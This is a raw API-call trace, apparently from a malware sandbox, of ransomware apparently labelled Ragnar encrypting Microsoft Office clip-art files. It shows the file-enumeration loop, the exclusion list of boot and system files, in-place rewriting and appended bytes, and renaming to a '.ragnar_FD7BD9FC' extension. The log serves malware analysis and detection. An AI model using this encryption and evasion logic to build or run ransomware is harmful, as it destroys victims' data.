lstrcmpiW (lpString1="BD18244_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.802] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="autorun.inf") returned 1 [0096.802] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="boot.ini") returned -1 [0096.802] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="bootfont.bin") returned -1 [0096.802] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="bootsect.bak") returned -1 [0096.802] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="bootmgr") returned -1 [0096.802] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="bootmgr.efi") returned -1 [0096.802] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.802] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="desktop.ini") returned -1 [0096.802] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="iconcache.db") returned -1 [0096.802] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="ntldr") returned -1 [0096.802] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="ntuser.dat") returned -1 [0096.802] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.802] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="ntuser.ini") returned -1 [0096.802] lstrcmpiW (lpString1="BD18244_.WMF", lpString2="thumbs.db") returned -1 [0096.802] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.802] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.802] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.802] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.802] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.802] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.802] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf")) returned 0x20 [0096.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.803] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1772) returned 1 [0096.803] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.803] GetProcessHeap () returned 0x580000 [0096.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.803] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.805] VirtualAlloc (lpAddress=0x0, dwSize=0x6ec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.805] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.805] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.805] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6ec, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x6ec, lpOverlapped=0x0) returned 1 [0096.805] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.805] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.805] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6ec, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x6ec, lpOverlapped=0x0) returned 1 [0096.805] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.805] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.805] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.806] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.806] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.806] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.806] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.806] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.806] GetProcessHeap () returned 0x580000 [0096.806] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.806] CloseHandle (hObject=0xf4) returned 1 [0096.806] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF" [0096.806] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF.ragnar_FD7BD9FC" [0096.806] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.807] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3027e300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3027e300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18245_.WMF", cAlternateFileName="")) returned 1 [0096.807] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.807] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18245_.WMF" | out: lpString1="BD18245_.WMF") returned="BD18245_.WMF" [0096.807] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF") returned=".WMF" [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="autorun.inf") returned 1 [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="boot.ini") returned -1 [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="bootfont.bin") returned -1 [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="bootsect.bak") returned -1 [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="bootmgr") returned -1 [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="bootmgr.efi") returned -1 [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="desktop.ini") returned -1 [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="iconcache.db") returned -1 [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="ntldr") returned -1 [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="ntuser.dat") returned -1 [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="ntuser.ini") returned -1 [0096.807] lstrcmpiW (lpString1="BD18245_.WMF", lpString2="thumbs.db") returned -1 [0096.807] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.807] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.807] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.807] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.808] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.808] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.808] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf")) returned 0x20 [0096.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.808] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3746) returned 1 [0096.808] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.808] GetProcessHeap () returned 0x580000 [0096.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.808] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.810] VirtualAlloc (lpAddress=0x0, dwSize=0xea2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.810] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.810] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.810] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xea2, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xea2, lpOverlapped=0x0) returned 1 [0096.810] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.810] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xea2, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.810] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xea2, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xea2, lpOverlapped=0x0) returned 1 [0096.810] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xea2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.810] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.811] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xea2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.811] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.811] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.811] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.811] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.811] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.811] GetProcessHeap () returned 0x580000 [0096.811] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.811] CloseHandle (hObject=0xf4) returned 1 [0096.811] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF" [0096.811] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF.ragnar_FD7BD9FC" [0096.811] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.812] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc4feb00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcc4feb00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18246_.WMF", cAlternateFileName="")) returned 1 [0096.812] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.812] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18246_.WMF" | out: lpString1="BD18246_.WMF") returned="BD18246_.WMF" [0096.812] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF") returned=".WMF" [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="autorun.inf") returned 1 [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="boot.ini") returned -1 [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="bootfont.bin") returned -1 [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="bootsect.bak") returned -1 [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="bootmgr") returned -1 [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="bootmgr.efi") returned -1 [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="desktop.ini") returned -1 [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="iconcache.db") returned -1 [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="ntldr") returned -1 [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="ntuser.dat") returned -1 [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="ntuser.ini") returned -1 [0096.812] lstrcmpiW (lpString1="BD18246_.WMF", lpString2="thumbs.db") returned -1 [0096.812] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.812] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.812] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.812] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.813] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.813] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.813] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf")) returned 0x20 [0096.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.814] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2600) returned 1 [0096.814] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.814] GetProcessHeap () returned 0x580000 [0096.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.814] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.815] VirtualAlloc (lpAddress=0x0, dwSize=0xa28, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.815] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.815] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.816] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa28, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xa28, lpOverlapped=0x0) returned 1 [0096.816] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.816] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa28, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.816] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa28, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xa28, lpOverlapped=0x0) returned 1 [0096.816] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa28, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.816] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.816] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.816] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.816] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.816] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.816] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.816] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.816] GetProcessHeap () returned 0x580000 [0096.816] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.817] CloseHandle (hObject=0xf4) returned 1 [0096.817] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF" [0096.817] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF.ragnar_FD7BD9FC" [0096.817] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.817] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba237c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xba237c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18247_.WMF", cAlternateFileName="")) returned 1 [0096.817] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.817] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18247_.WMF" | out: lpString1="BD18247_.WMF") returned="BD18247_.WMF" [0096.817] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF") returned=".WMF" [0096.817] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.817] lstrcmpiW (lpString1="BD18247_.WMF", lpString2="autorun.inf") returned 1 [0096.818] lstrcmpiW 